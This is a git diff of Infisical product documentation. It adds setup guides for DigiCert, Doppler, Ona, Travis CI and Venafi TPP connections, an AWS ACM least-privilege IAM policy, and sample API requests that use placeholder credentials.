index 00000000000..c6023bbec59
Binary files /dev/null and b/docs/images/platform/pki/integrations/jamf-pro/scep-config-challenge-dynamic.png differ
diff --git a/docs/images/platform/pki/venafi-tpp/venafi-tpp-certificate-created.png b/docs/images/platform/pki/venafi-tpp/venafi-tpp-certificate-created.png
new file mode 100644
index 00000000000..5bccade9615
Binary files /dev/null and b/docs/images/platform/pki/venafi-tpp/venafi-tpp-certificate-created.png differ
diff --git a/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-created.png b/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-created.png
new file mode 100644
index 00000000000..a2f85de95a8
Binary files /dev/null and b/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-created.png differ
diff --git a/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-form.png b/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-form.png
new file mode 100644
index 00000000000..0b69a145cb9
Binary files /dev/null and b/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-form.png differ
diff --git a/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-page.png b/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-page.png
new file mode 100644
index 00000000000..51efa9e6e58
Binary files /dev/null and b/docs/images/platform/pki/venafi-tpp/venafi-tpp-external-ca-page.png differ
diff --git a/docs/images/secret-rotations-v2/generic/add-secret-rotation.png b/docs/images/secret-rotations-v2/generic/add-secret-rotation.png
index 4b1b626ae23..d8c1867d5c7 100644
Binary files a/docs/images/secret-rotations-v2/generic/add-secret-rotation.png and b/docs/images/secret-rotations-v2/generic/add-secret-rotation.png differ
diff --git a/docs/images/secret-rotations-v2/supabase-api-key/configuration.png b/docs/images/secret-rotations-v2/supabase-api-key/configuration.png
new file mode 100644
index 00000000000..2ef726bd2de
Binary files /dev/null and b/docs/images/secret-rotations-v2/supabase-api-key/configuration.png differ
diff --git a/docs/images/secret-rotations-v2/supabase-api-key/created.png b/docs/images/secret-rotations-v2/supabase-api-key/created.png
new file mode 100644
index 00000000000..623bbf4edc4
Binary files /dev/null and b/docs/images/secret-rotations-v2/supabase-api-key/created.png differ
diff --git a/docs/images/secret-rotations-v2/supabase-api-key/details.png b/docs/images/secret-rotations-v2/supabase-api-key/details.png
new file mode 100644
index 00000000000..2935b46a8a9
Binary files /dev/null and b/docs/images/secret-rotations-v2/supabase-api-key/details.png differ
diff --git a/docs/images/secret-rotations-v2/supabase-api-key/parameters.png b/docs/images/secret-rotations-v2/supabase-api-key/parameters.png
new file mode 100644
index 00000000000..798c17dfec6
Binary files /dev/null and b/docs/images/secret-rotations-v2/supabase-api-key/parameters.png differ
diff --git a/docs/images/secret-rotations-v2/supabase-api-key/review.png b/docs/images/secret-rotations-v2/supabase-api-key/review.png
new file mode 100644
index 00000000000..ae76a817f48
Binary files /dev/null and b/docs/images/secret-rotations-v2/supabase-api-key/review.png differ
diff --git a/docs/images/secret-rotations-v2/supabase-api-key/secrets-mapping.png b/docs/images/secret-rotations-v2/supabase-api-key/secrets-mapping.png
new file mode 100644
index 00000000000..8adc0ca9dfd
Binary files /dev/null and b/docs/images/secret-rotations-v2/supabase-api-key/secrets-mapping.png differ
diff --git a/docs/images/secret-rotations-v2/supabase-api-key/select-supabase-api-key.png b/docs/images/secret-rotations-v2/supabase-api-key/select-supabase-api-key.png
new file mode 100644
index 00000000000..baba82fcbf9
Binary files /dev/null and b/docs/images/secret-rotations-v2/supabase-api-key/select-supabase-api-key.png differ
diff --git a/docs/images/secret-syncs/ona/ona-created.png b/docs/images/secret-syncs/ona/ona-created.png
new file mode 100644
index 00000000000..91044948a59
Binary files /dev/null and b/docs/images/secret-syncs/ona/ona-created.png differ
diff --git a/docs/images/secret-syncs/ona/ona-destination.png b/docs/images/secret-syncs/ona/ona-destination.png
new file mode 100644
index 00000000000..875d9a7f8d0
Binary files /dev/null and b/docs/images/secret-syncs/ona/ona-destination.png differ
diff --git a/docs/images/secret-syncs/ona/ona-details.png b/docs/images/secret-syncs/ona/ona-details.png
new file mode 100644
index 00000000000..6c3c0bec414
Binary files /dev/null and b/docs/images/secret-syncs/ona/ona-details.png differ
diff --git a/docs/images/secret-syncs/ona/ona-options.png b/docs/images/secret-syncs/ona/ona-options.png
new file mode 100644
index 00000000000..0bc474d810c
Binary files /dev/null and b/docs/images/secret-syncs/ona/ona-options.png differ
diff --git a/docs/images/secret-syncs/ona/ona-review.png b/docs/images/secret-syncs/ona/ona-review.png
new file mode 100644
index 00000000000..0b76ed87fac
Binary files /dev/null and b/docs/images/secret-syncs/ona/ona-review.png differ
diff --git a/docs/images/secret-syncs/ona/ona-source.png b/docs/images/secret-syncs/ona/ona-source.png
new file mode 100644
index 00000000000..9c4481fe308
Binary files /dev/null and b/docs/images/secret-syncs/ona/ona-source.png differ
diff --git a/docs/images/secret-syncs/ona/select-ona-option.png b/docs/images/secret-syncs/ona/select-ona-option.png
new file mode 100644
index 00000000000..980c85edf7e
Binary files /dev/null and b/docs/images/secret-syncs/ona/select-ona-option.png differ
diff --git a/docs/images/secret-syncs/travis-ci/select-travis-ci-option.png b/docs/images/secret-syncs/travis-ci/select-travis-ci-option.png
new file mode 100644
index 00000000000..08efa4864d1
Binary files /dev/null and b/docs/images/secret-syncs/travis-ci/select-travis-ci-option.png differ
diff --git a/docs/images/secret-syncs/travis-ci/travis-ci-created.png b/docs/images/secret-syncs/travis-ci/travis-ci-created.png
new file mode 100644
index 00000000000..b790d682902
Binary files /dev/null and b/docs/images/secret-syncs/travis-ci/travis-ci-created.png differ
diff --git a/docs/images/secret-syncs/travis-ci/travis-ci-destination.png b/docs/images/secret-syncs/travis-ci/travis-ci-destination.png
new file mode 100644
index 00000000000..2ee9811707a
Binary files /dev/null and b/docs/images/secret-syncs/travis-ci/travis-ci-destination.png differ
diff --git a/docs/images/secret-syncs/travis-ci/travis-ci-details.png b/docs/images/secret-syncs/travis-ci/travis-ci-details.png
new file mode 100644
index 00000000000..2416613df95
Binary files /dev/null and b/docs/images/secret-syncs/travis-ci/travis-ci-details.png differ
diff --git a/docs/images/secret-syncs/travis-ci/travis-ci-options.png b/docs/images/secret-syncs/travis-ci/travis-ci-options.png
new file mode 100644
index 00000000000..333eb96710e
Binary files /dev/null and b/docs/images/secret-syncs/travis-ci/travis-ci-options.png differ
diff --git a/docs/images/secret-syncs/travis-ci/travis-ci-review.png b/docs/images/secret-syncs/travis-ci/travis-ci-review.png
new file mode 100644
index 00000000000..e9861c8dc9d
Binary files /dev/null and b/docs/images/secret-syncs/travis-ci/travis-ci-review.png differ
diff --git a/docs/images/secret-syncs/travis-ci/travis-ci-source.png b/docs/images/secret-syncs/travis-ci/travis-ci-source.png
new file mode 100644
index 00000000000..dbdb1e1d4e7
Binary files /dev/null and b/docs/images/secret-syncs/travis-ci/travis-ci-source.png differ
diff --git a/docs/images/self-hosting/helper/upgrade-path-tool.png b/docs/images/self-hosting/helper/upgrade-path-tool.png
deleted file mode 100644
index a8a538aaf40..00000000000
Binary files a/docs/images/self-hosting/helper/upgrade-path-tool.png and /dev/null differ
diff --git a/docs/integrations/app-connections/aws.mdx b/docs/integrations/app-connections/aws.mdx
index acbdc78a4ed..6ad1e305e01 100644
--- a/docs/integrations/app-connections/aws.mdx
+++ b/docs/integrations/app-connections/aws.mdx
@@ -331,6 +331,67 @@ Infisical supports two methods for connecting to AWS.
                                     Using a specific CA ARN in `Resource` is recommended over `"*"` to follow the principle of least privilege.
                                 </Note>
                             </Accordion>
+                            <Accordion title="AWS ACM Public CA">
+                                Use the following custom policy to grant the minimum permissions required by Infisical to issue publicly-trusted certificates via AWS Certificate Manager and perform DNS validation through Route 53.
+
+                                **ACM permissions** — `RequestCertificate` cannot be scoped below `"*"` because the certificate ARN does not exist until after the call succeeds:
+
+                                ```json
+                                {
+                                    "Version": "2012-10-17",
+                                    "Statement": [
+                                        {
+                                            "Sid": "AllowAcmPublicCaAccess",
+                                            "Effect": "Allow",
+                                            "Action": [
+                                                "acm:RequestCertificate",
+                                                "acm:DescribeCertificate",
+                                                "acm:ExportCertificate",
+                                                "acm:RenewCertificate",
+                                                "acm:RevokeCertificate",
+                                                "acm:ListCertificates"
+                                            ],
+                                            "Resource": "*"
+                                        }
+                                    ]
+                                }
+                                ```
+
+                                **Route 53 permissions** — scope to the hosted zone(s) used for DNS validation:
+
+                                ```json
+                                {
+                                    "Version": "2012-10-17",
+                                    "Statement": [
+                                        {
+                                            "Sid": "AllowRoute53ForAcmValidation",
+                                            "Effect": "Allow",
+                                            "Action": [
+                                                "route53:GetHostedZone",
+                                                "route53:ChangeResourceRecordSets"
+                                            ],
+                                            "Resource": "arn:aws:route53:::hostedzone/YOUR_HOSTED_ZONE_ID"
+                                        }
+                                    ]
+                                }
+                                ```
+
+                                ACM and Route 53 permissions can live on the same IAM principal, or be split across two separate connections in Infisical.
+
+                                <Note>
+                                    **ACM Permissions:**
+                                    - **RequestCertificate**: Requests a new public certificate from ACM
+                                    - **DescribeCertificate**: Retrieves certificate status and DNS validation records
+                                    - **ExportCertificate**: Exports the issued certificate and private key to Infisical
+                                    - **RenewCertificate**: Triggers renewal of an existing certificate
+                                    - **RevokeCertificate**: Revokes a previously issued certificate
+                                    - **ListCertificates**: Used during connection validation
+
+                                    **Route 53 Permissions:**
+                                    - **GetHostedZone**: Validates the hosted zone during CA setup
+                                    - **ChangeResourceRecordSets**: Writes the ACM DNS validation CNAME records
+                                </Note>
+                            </Accordion>
                         </AccordionGroup>
                     </Tab>
                 </Tabs>
@@ -662,6 +723,67 @@ Infisical supports two methods for connecting to AWS.
                                     Using a specific CA ARN in `Resource` is recommended over `"*"` to follow the principle of least privilege.
                                 </Note>
                             </Accordion>
+                            <Accordion title="AWS ACM Public CA">
+                                Use the following custom policy to grant the minimum permissions required by Infisical to issue publicly-trusted certificates via AWS Certificate Manager and perform DNS validation through Route 53.
+
+                                **ACM permissions** — `RequestCertificate` cannot be scoped below `"*"` because the certificate ARN does not exist until after the call succeeds:
+
+                                ```json
+                                {
+                                    "Version": "2012-10-17",
+                                    "Statement": [
+                                        {
+                                            "Sid": "AllowAcmPublicCaAccess",
+                                            "Effect": "Allow",
+                                            "Action": [
+                                                "acm:RequestCertificate",
+                                                "acm:DescribeCertificate",
+                                                "acm:ExportCertificate",
+                                                "acm:RenewCertificate",
+                                                "acm:RevokeCertificate",
+                                                "acm:ListCertificates"
+                                            ],
+                                            "Resource": "*"
+                                        }
+                                    ]
+                                }
+                                ```
+
+                                **Route 53 permissions** — scope to the hosted zone(s) used for DNS validation:
+
+                                ```json
+                                {
+                                    "Version": "2012-10-17",
+                                    "Statement": [
+                                        {
+                                            "Sid": "AllowRoute53ForAcmValidation",
+                                            "Effect": "Allow",
+                                            "Action": [
+                                                "route53:GetHostedZone",
+                                                "route53:ChangeResourceRecordSets"
+                                            ],
+                                            "Resource": "arn:aws:route53:::hostedzone/YOUR_HOSTED_ZONE_ID"
+                                        }
+                                    ]
+                                }
+                                ```
+
+                                ACM and Route 53 permissions can live on the same IAM principal, or be split across two separate connections in Infisical.
+
+                                <Note>
+                                    **ACM Permissions:**
+                                    - **RequestCertificate**: Requests a new public certificate from ACM
+                                    - **DescribeCertificate**: Retrieves certificate status and DNS validation records
+                                    - **ExportCertificate**: Exports the issued certificate and private key to Infisical
+                                    - **RenewCertificate**: Triggers renewal of an existing certificate
+                                    - **RevokeCertificate**: Revokes a previously issued certificate
+                                    - **ListCertificates**: Used during connection validation
+
+                                    **Route 53 Permissions:**
+                                    - **GetHostedZone**: Validates the hosted zone during CA setup
+                                    - **ChangeResourceRecordSets**: Writes the ACM DNS validation CNAME records
+                                </Note>
+                            </Accordion>
                         </AccordionGroup>
                     </Tab>
                 </Tabs>
diff --git a/docs/integrations/app-connections/digicert.mdx b/docs/integrations/app-connections/digicert.mdx
new file mode 100644
index 00000000000..b249c5974b8
--- /dev/null
+++ b/docs/integrations/app-connections/digicert.mdx
@@ -0,0 +1,116 @@
+---
+title: "DigiCert Connection"
+description: "Learn how to configure a DigiCert connection for Infisical."
+---
+
+Infisical supports connecting to [DigiCert CertCentral](https://dev.digicert.com/en/certcentral-apis.html) using a **CertCentral API Key**. This connection powers the [DigiCert Certificate Authority](/documentation/platform/pki/ca/digicert-direct) for direct (non-ACME) certificate issuance.
+
+<Note>
+  This connection is for the DigiCert **CertCentral Services API**. If you are using DigiCert's
+  ACME endpoint with External Account Binding (EAB) credentials, use the
+  [ACME Certificate Authority](/documentation/platform/pki/ca/acme-ca) instead.
+</Note>
+
+## Prerequisites
+
+- A CertCentral account with sufficient permissions to create API keys and place certificate orders
+- At least one validated CertCentral organization that will be listed on issued certificates
+- A CertCentral user with a role that can place and manage orders (typically **Manager** or **Administrator**) — the API key inherits its permissions from this user
+
+## Create a CertCentral API Key
+
+<Steps>
+  <Step title="Navigate to API Keys">
+    In your CertCentral account, go to **Automation** → **API Keys** and click **Add API Key**.
+
+    ![CertCentral API Keys](/images/app-connections/digicert/step-1.png)
+  </Step>
+  <Step title="Name and create the key">
+    Give the key a descriptive name (e.g. `infisical`) and **assign a user whose role is Manager or Administrator**, the key inherits that user's permissions on CertCentral.
+
+    Under **API key restrictions**, leave the default **None** or select **Orders, Domains, Organizations**
+
+    Copy the generated key value, it is only shown once.
+
+    ![CertCentral Create Key](/images/app-connections/digicert/step-2.png)
+  </Step>
+</Steps>
+
+<Tip>
+  Create a dedicated API key for Infisical rather than reusing an existing one so you can rotate or
+  revoke access independently.
+</Tip>
+
+## Create DigiCert Connection in Infisical
+
+<Tabs>
+  <Tab title="Infisical UI">
+    <Steps>
+      <Step title="Navigate to App Connections">
+        In your Infisical dashboard, go to **Organization Settings** → **App Connections**.
+
+        ![App Connections Tab](/images/app-connections/general/add-connection.png)
+      </Step>
+      <Step title="Select DigiCert Connection">
+        Click **Add Connection** and choose **DigiCert** from the list of available connections.
+
+        ![Select DigiCert Connection](/images/app-connections/digicert/digicert-app-connection-option.png)
+      </Step>
+      <Step title="Fill out Connection Form">
+        Complete the form with:
+        - A **name** for the connection (e.g. `digicert-prod`)
+        - An optional **description**
+        - The **CertCentral Region** matching your account, **US** or **EU**
+        - Your **CertCentral API Key**
+
+        ![DigiCert Connection Form](/images/app-connections/digicert/digicert-app-connection-form.png)
+      </Step>
+      <Step title="Connection Created">
+        After clicking **Create**, Infisical validates the key by calling
+        `GET /services/v2/organization`. Once the key is confirmed, the connection is ready to use
+        in a DigiCert Certificate Authority.
+
+        ![DigiCert Connection Created](/images/app-connections/digicert/digicert-app-connection-created.png)
+      </Step>
+    </Steps>
+  </Tab>
+  <Tab title="API">
+    To create a DigiCert Connection, make an API request to the [Create DigiCert Connection](/api-reference/endpoints/app-connections/digicert/create) API endpoint.
+
+    ### Sample request
+
+    ```bash Request
+    curl --request POST \
+      --url https://app.infisical.com/api/v1/app-connections/digicert \
+      --header 'Content-Type: application/json' \
+      --data '{
+        "name": "my-digicert-connection",
+        "method": "api-key",
+        "credentials": {
+          "apiKey": "<YOUR-CERTCENTRAL-API-KEY>",
+          "region": "us"
+        }
+      }'
+    ```
+
+    ### Sample response
+
+    ```bash Response
+    {
+      "appConnection": {
+        "id": "a1b2c3d4-86f7-4026-a95e-efb8aeb0d8e6",
+        "name": "my-digicert-connection",
+        "description": null,
+        "version": 1,
+        "orgId": "6f03caa1-a5de-43ce-b127-95a145d3464c",
+        "createdAt": "2026-04-20T00:00:00.000Z",
+        "updatedAt": "2026-04-20T00:00:00.000Z",
+        "isPlatformManagedCredentials": false,
+        "app": "digicert",
+        "method": "api-key",
+        "credentials": {}
+      }
+    }
+    ```
+  </Tab>
+</Tabs>
diff --git a/docs/integrations/app-connections/doppler.mdx b/docs/integrations/app-connections/doppler.mdx
new file mode 100644
index 00000000000..91e228028b7
--- /dev/null
+++ b/docs/integrations/app-connections/doppler.mdx
@@ -0,0 +1,125 @@
+---
+title: "Doppler Connection"
+description: "Learn how to configure a Doppler Connection for Infisical."
+---
+
+Infisical supports the use of API Tokens to connect with Doppler. This connection is used for importing secrets from Doppler into Infisical via the [external migration tool](/documentation/platform/external-migrations/doppler).
+
+## Create a Doppler API Token
+
+<Steps>
+  <Step title="Navigate to the Doppler Tokens tab and click in Service">
+    Log in to your Doppler account and go to the Tokens tab.
+
+    ![Doppler Dashboard](/images/app-connections/doppler/doppler-dashboard.png)
+  </Step>
+  <Step title="Navigate to the Service Accounts section">
+    In the User Tokens page, click in **Manage service accounts** .
+
+    ![Doppler Service Accounts](/images/app-connections/doppler/manage-service-accounts.png)
+  </Step>
+  <Step title="Create Service Account">
+    Click in the "+" icon, provide a descriptive name, and confirm creation.
+
+    ![Doppler Create Token](/images/app-connections/doppler/doppler-create-service-account.png)
+  </Step>
+  <Step title="Assign permissions to the service account">
+    Click the pencil icon next to your service account role to modify the role of the service account.
+    ![Doppler Service Account Role](/images/app-connections/doppler/doppler-service-account-select-role.png)
+
+
+    For the best migration experience, we recommend that you give the service account full access to all your projects in order to migrate from all projects within Doppler.
+
+    ![Doppler Service Account Role](/images/app-connections/doppler/doppler-service-account-configure-role.png)
+  </Step>
+  
+  <Step title="Click in create service account token">
+    Click in the "+" icon in the Service Account API Tokens container
+
+    ![Doppler Token Created](/images/app-connections/doppler/service-account-api-token-creation.png)
+  </Step>
+  <Step title="Add a name for the API Token">
+    Add a name for the API Token and click in Create API Token
+
+    ![Doppler Token Created](/images/app-connections/doppler/create-api-token.png)
+  </Step>
+  <Step title="Copy the generated token">
+    Copy the generated token and save it, you will need it in the nexts steps
+
+    ![Doppler Token Created](/images/app-connections/doppler/copy-the-generated-code.png)
+  </Step>
+</Steps>
+
+## Create a Doppler Connection in Infisical
+
+<Tabs>
+  <Tab title="Infisical UI">
+    <Steps>
+      <Step title="Navigate to App Connections">
+        In your Infisical dashboard, navigate to **Organization Settings** and select the **App Connections** tab.
+
+        ![App Connections Tab](/images/app-connections/general/add-connection.png)
+      </Step>
+      <Step title="Select Doppler Connection">
+        Click **+ Add Connection** and choose **Doppler Connection** from the list of available connections.
+
+        ![Select Doppler Connection](/images/app-connections/doppler/doppler-app-connection-option.png)
+      </Step>
+      <Step title="Fill out the Doppler Connection form">
+        Complete the form by providing:
+        - A descriptive name for the connection
+        - An optional description
+        - The API Token value from the previous step
+
+        ![Doppler Connection Form](/images/app-connections/doppler/doppler-app-connection-form.png)
+      </Step>
+      <Step title="Connection created">
+        After submitting the form, your **Doppler Connection** will be successfully created and ready to use for importing secrets into Infisical.
+
+        ![Doppler Connection Created](/images/app-connections/doppler/doppler-app-connection-created.png)
+      </Step>
+    </Steps>
+
+  </Tab>
+
+  <Tab title="API">
+    To create a Doppler Connection via API, send a request to the [Create Doppler Connection](/api-reference/endpoints/app-connections/doppler/create) endpoint.
+
+    ### Sample request
+
+    ```bash Request
+    curl    --request POST \
+            --url https://app.infisical.com/api/v1/app-connections/doppler \
+            --header 'Content-Type: application/json' \
+            --data '{
+                "name": "my-doppler-connection",
+                "method": "api-token",
+                "credentials": {
+                    "apiToken": "[API TOKEN]"
+                }
+            }'
+    ```
+
+    ### Sample response
+
+    ```bash Response
+    {
+      "appConnection": {
+          "id": "3c2a1b4d-97e6-4f18-b3c2-8e5d9a0f1234",
+          "name": "my-doppler-connection",
+          "description": null,
+          "version": 1,
+          "orgId": "6f03caa1-a5de-43ce-b127-95a145d3464c",
+          "createdAt": "2025-04-23T19:46:34.831Z",
+          "updatedAt": "2025-04-23T19:46:34.831Z",
+          "isPlatformManagedCredentials": false,
+          "credentialsHash": "9a1e482fbc306g93b1d6e2ce0d081b340dfcbg99f005b7c506f3ecd1391772g0",
+          "app": "doppler",
+          "method": "api-token",
+          "credentials": {}
+      }
+    }
+    ```
+
+  </Tab>
+</Tabs>
diff --git a/docs/integrations/app-connections/gitlab.mdx b/docs/integrations/app-connections/gitlab.mdx
index 6c45c4b30b6..2db44b27866 100644
--- a/docs/integrations/app-connections/gitlab.mdx
+++ b/docs/integrations/app-connections/gitlab.mdx
@@ -8,6 +8,10 @@ Infisical supports two methods for connecting to GitLab: **OAuth** and **Access
 <Tabs>
   <Tab title="OAuth Method">
     The OAuth method provides secure authentication through GitLab's OAuth flow.
+    
+    <Info>
+        Oauth Method is only supported in Self-Hosted mode.
+    </Info>
 
     <Accordion title="Self-Hosted Instance Setup">
       Using the GitLab Connection with OAuth on a self-hosted instance of Infisical requires configuring an OAuth application in GitLab and registering your instance with it.
diff --git a/docs/integrations/app-connections/ona.mdx b/docs/integrations/app-connections/ona.mdx
new file mode 100644
index 00000000000..a6e09d4563a
--- /dev/null
+++ b/docs/integrations/app-connections/ona.mdx
@@ -0,0 +1,113 @@
+---
+title: "Ona Connection"
+description: "Learn how to configure an Ona Connection for Infisical."
+---
+
+Infisical supports connecting to [Ona](https://www.gitpod.io/) (Gitpod's cloud development environment platform) using a Personal Access Token (PAT).
+
+## Create an Ona Personal Access Token
+
+<Steps>
+  <Step title="Open your user settings on Ona">
+
+  In the lower-left corner of Ona, select your name, then click the gear icon to open user settings.
+
+  ![Open Account setting](/images/app-connections/ona/ona-account-settings.png)
+
+  </Step>
+  <Step title="Select the Personal Access Tokens tab">
+    
+  ![PAT tab](/images/app-connections/ona/ona-access-token-tab.png)
+    
+  </Step>
+  <Step title="Create the token">
+    Click the **New Token** button and add a description for the token (eg, "infisical integration"). The token must have Read & Write access so that Infisical can apply changes in Ona.
+
+    <Note>
+     Personal access tokens have an expiration date, so you will need to manually rotate them before they expire to avoid integration downtime. Consider setting a calendar reminder for this task.
+    </Note>
+    
+    ![Open PAT section](/images/app-connections/ona/ona-pat-section.png)
+    ![New token modal](/images/app-connections/ona/ona-pat-creation-modal.png)
+  </Step>
+  <Step title="Copy the token">
+    Make sure to save the token, as it won't be shown again.
+
+    ![Copy Token](/images/app-connections/ona/ona-pat-copy.png)
+  </Step>
+</Steps>
+
+## Create an Ona Connection in Infisical
+
+<Tabs>
+  <Tab title="Infisical UI">
+    <Steps>
+      <Step title="Navigate to App Connections">
+        In your Infisical dashboard, open the **Integrations** tab for the desired project and select **App Connections**. Click **+ Add Connection**.
+
+        ![App Connections Tab](/images/app-connections/general/add-connection.png)
+      </Step>
+      <Step title="Select Ona Connection">
+        Choose **Ona Connection** from the list of integrations.
+
+        ![Select Ona Connection](/images/app-connections/ona/ona-app-connection-option.png)
+      </Step>
+      <Step title="Fill out the Ona Connection form">
+        Complete the form by providing:
+
+        - A descriptive **Name** for the connection.
+        - An optional **Description**.
+        - The **Personal Access Token** you generated in Ona.
+
+        ![Ona Connection Modal](/images/app-connections/ona/ona-app-connection-form.png)
+      </Step>
+      <Step title="Connection created">
+        After submitting the form, your **Ona Connection** will be created.
+
+        ![Ona Connection Created](/images/app-connections/ona/ona-app-connection-generated.png)
+      </Step>
+    </Steps>
+  </Tab>
+
+  <Tab title="API">
+    To create an Ona Connection via API, send a request to the [Create Ona Connection](/api-reference/endpoints/app-connections/ona/create) endpoint.
+
+    ### Sample request
+
+    ```bash Request
+    curl    --request POST \
+            --url https://app.infisical.com/api/v1/app-connections/ona \
+            --header 'Content-Type: application/json' \
+            --data '{
+                "name": "my-ona-connection",
+                "method": "personal-access-token",
+                "projectId": "abcdef12-3456-7890-abcd-ef1234567890",
+                "credentials": {
+                    "personalAccessToken": "[PERSONAL ACCESS TOKEN]"
+                }
+            }'
+    ```
+
+    ### Sample response
+
+    ```bash Response
+    {
+      "appConnection": {
+          "id": "a1b2c3d4-5678-90ab-cdef-1234567890ab",
+          "name": "my-ona-connection",
+          "description": null,
+          "projectId": "abcdef12-3456-7890-abcd-ef1234567890",
+          "version": 1,
+          "orgId": "abcdef12-3456-7890-abcd-ef1234567890",
+          "createdAt": "2025-01-23T10:15:00.000Z",
+          "updatedAt": "2025-01-23T10:15:00.000Z",
+          "isPlatformManagedCredentials": false,
+          "credentialsHash": "d41d8cd98f00b204e9800998ecf8427e",
+          "app": "ona",
+          "method": "personal-access-token",
+          "credentials": {}
+      }
+    }
+    ```
+  </Tab>
+</Tabs>
diff --git a/docs/integrations/app-connections/travis-ci.mdx b/docs/integrations/app-connections/travis-ci.mdx
new file mode 100644
index 00000000000..cfe483fee79
--- /dev/null
+++ b/docs/integrations/app-connections/travis-ci.mdx
@@ -0,0 +1,104 @@
+---
+title: "Travis CI Connection"
+description: "Learn how to configure a Travis CI Connection for Infisical."
+---
+
+Infisical supports connecting to [Travis CI](https://www.travis-ci.com/) using a personal API Token.
+
+<Note>
+  The API Token must belong to a user with sufficient permissions to manage
+  environment variables on the repositories you plan to sync with Infisical.
+</Note>
+
+## Create a Travis CI API Token
+
+<Steps>
+  <Step title="Sign in to Travis CI and open your profile">
+    Navigate to [https://app.travis-ci.com](https://app.travis-ci.com) and click your profile avatar in the top-right corner, then select **Settings**.
+  </Step>
+  <Step title="Copy your API Token">
+    In the **Settings** tab, locate the **API authentication** section. Click **Copy Token** to reveal and copy your personal API token.
+
+    ![Copy Travis CI API Token](/images/app-connections/travis-ci/travis-ci-copy-token.png)
+
+    <Note>
+      Treat this token like a password — it grants access to every repository you
+      have permission to administer. Store it somewhere safe; Infisical will
+      encrypt it at rest once the connection is created.
+    </Note>
+  </Step>
+</Steps>
+
+## Create a Travis CI Connection in Infisical
+
+<Tabs>
+  <Tab title="Infisical UI">
+    <Steps>
+      <Step title="Navigate to App Connections">
+        In your Infisical dashboard, open the **Integrations** tab in the target project and select **App Connections**.
+
+        ![App Connections Tab](/images/app-connections/general/add-connection.png)
+      </Step>
+      <Step title="Select Travis CI Connection">
+        Click **+ Add Connection** and choose **Travis CI Connection** from the list.
+
+        ![Select Travis CI Connection](/images/app-connections/travis-ci/travis-ci-app-connection-option.png)
+      </Step>
+      <Step title="Fill out the Travis CI Connection form">
+        Complete the form by providing:
+        - A descriptive **Name** for the connection
+        - An optional **Description**
+        - The **API Token** you copied from Travis CI
+
+        ![Travis CI Connection Form](/images/app-connections/travis-ci/travis-ci-app-connection-modal.png)
+      </Step>
+      <Step title="Connection created">
+        After submitting, your **Travis CI Connection** is ready to be used by Secret Syncs and other Infisical features.
+      </Step>
+    </Steps>
+
+  </Tab>
+
+  <Tab title="API">
+    To create a Travis CI Connection via API, send a request to the [Create Travis CI Connection](/api-reference/endpoints/app-connections/travis-ci/create) endpoint.
+
+    ### Sample request
+
+    ```bash Request
+    curl    --request POST \
+            --url https://app.infisical.com/api/v1/app-connections/travis-ci \
+            --header 'Content-Type: application/json' \
+            --data '{
+                "name": "my-travis-ci-connection",
+                "method": "api-token",
+                "projectId": "7ffbb072-2575-495a-b5b0-127f88caef78",
+                "credentials": {
+                    "apiToken": "[API TOKEN]"
+                }
+            }'
+    ```
+
+    ### Sample response
+
+    ```bash Response
+    {
+      "appConnection": {
+          "id": "e5d18aca-86f7-4026-a95e-efb8aeb0d8e6",
+          "name": "my-travis-ci-connection",
+          "projectId": "7ffbb072-2575-495a-b5b0-127f88caef78",
+          "description": null,
+          "version": 1,
+          "orgId": "6f03caa1-a5de-43ce-b127-95a145d3464c",
+          "createdAt": "2026-04-17T19:46:34.831Z",
+          "updatedAt": "2026-04-17T19:46:34.831Z",
+          "isPlatformManagedCredentials": false,
+          "credentialsHash": "example-credentials-hash",
+          "app": "travis-ci",
+          "method": "api-token",
+          "credentials": {}
+      }
+    }
+    ```
+
+  </Tab>
+</Tabs>
diff --git a/docs/integrations/app-connections/venafi-tpp.mdx b/docs/integrations/app-connections/venafi-tpp.mdx
new file mode 100644
index 00000000000..8acc5560e7c
--- /dev/null
+++ b/docs/integrations/app-connections/venafi-tpp.mdx
@@ -0,0 +1,63 @@
+---
+title: "Venafi TPP Connection"
+description: "Learn how to configure a Venafi Trust Protection Platform (TPP) Connection for Infisical."
+---
+
+Connect Infisical to a self-hosted Venafi Trust Protection Platform (TPP) instance to use it as an external CA for certificate issuance and management.
+
+## Prerequisites
+
+- A self-hosted [Venafi Trust Protection Platform](https://venafi.com/) instance (on-premises or private cloud)
+- An API Integration registered in your TPP instance with OAuth enabled
+- A TPP user account with `certificate:manage,discover,revoke` and `configuration` scope privileges
+- Network connectivity from Infisical to the TPP server (or an Infisical Gateway for airgapped environments)
+
+<Note>
+  To register an API Integration in Venafi TPP, navigate to **API** > **API Integrations** in the TPP web console
+  and create a new integration with a Client ID. This Client ID is required when setting up the connection in Infisical.
+</Note>
+
+## Connection Setup
+
+<Steps>
+  <Step title="Navigate to App Connections">
+    Navigate to the **App Connections** tab on the **Organization Settings** page.
+    ![App Connections Tab](/images/app-connections/general/add-connection.png)
+  </Step>
+  <Step title="Add Connection">
+    Select the **Venafi TPP** option from the connection options modal.
+    ![Select Venafi TPP Connection](/images/app-connections/venafi-tpp/venafi-tpp-select-connection.png)
+  </Step>
+  <Step title="Configure Connection Details">
+    Configure the following fields:
+
+    - **Name**: A friendly name for this connection (e.g., "Production TPP")
+    - **Method**: The authentication method. Currently only **OAuth** is supported.
+    - **Gateway** *(optional)*: Select an Infisical Gateway if your TPP instance is in an airgapped network without direct internet access.
+    - **TPP URL**: The HTTPS URL of your Venafi TPP instance (e.g., `https://tpp.example.com`). Must use HTTPS.
+    - **Client ID**: The OAuth Client ID from your TPP API Integration.
+    - **Username**: The TPP user account. Supports formats: `DOMAIN\username`, `username@domain.com`, or local usernames.
+    - **Password**: The password for the TPP user account.
+
+    Click **Connect to Venafi TPP** to validate your credentials and create the connection.
+
+    ![Venafi TPP Connection Form](/images/app-connections/venafi-tpp/venafi-tpp-app-connection-form.png)
+
+    <Note>
+      Infisical validates the credentials by authenticating with the TPP OAuth endpoint during connection creation.
+      If validation fails, verify that:
+      - The TPP URL is correct and reachable
+      - The Client ID matches an API Integration registered in TPP
+      - The username and password are correct
+      - The API Integration has the required scopes enabled
+    </Note>
+  </Step>
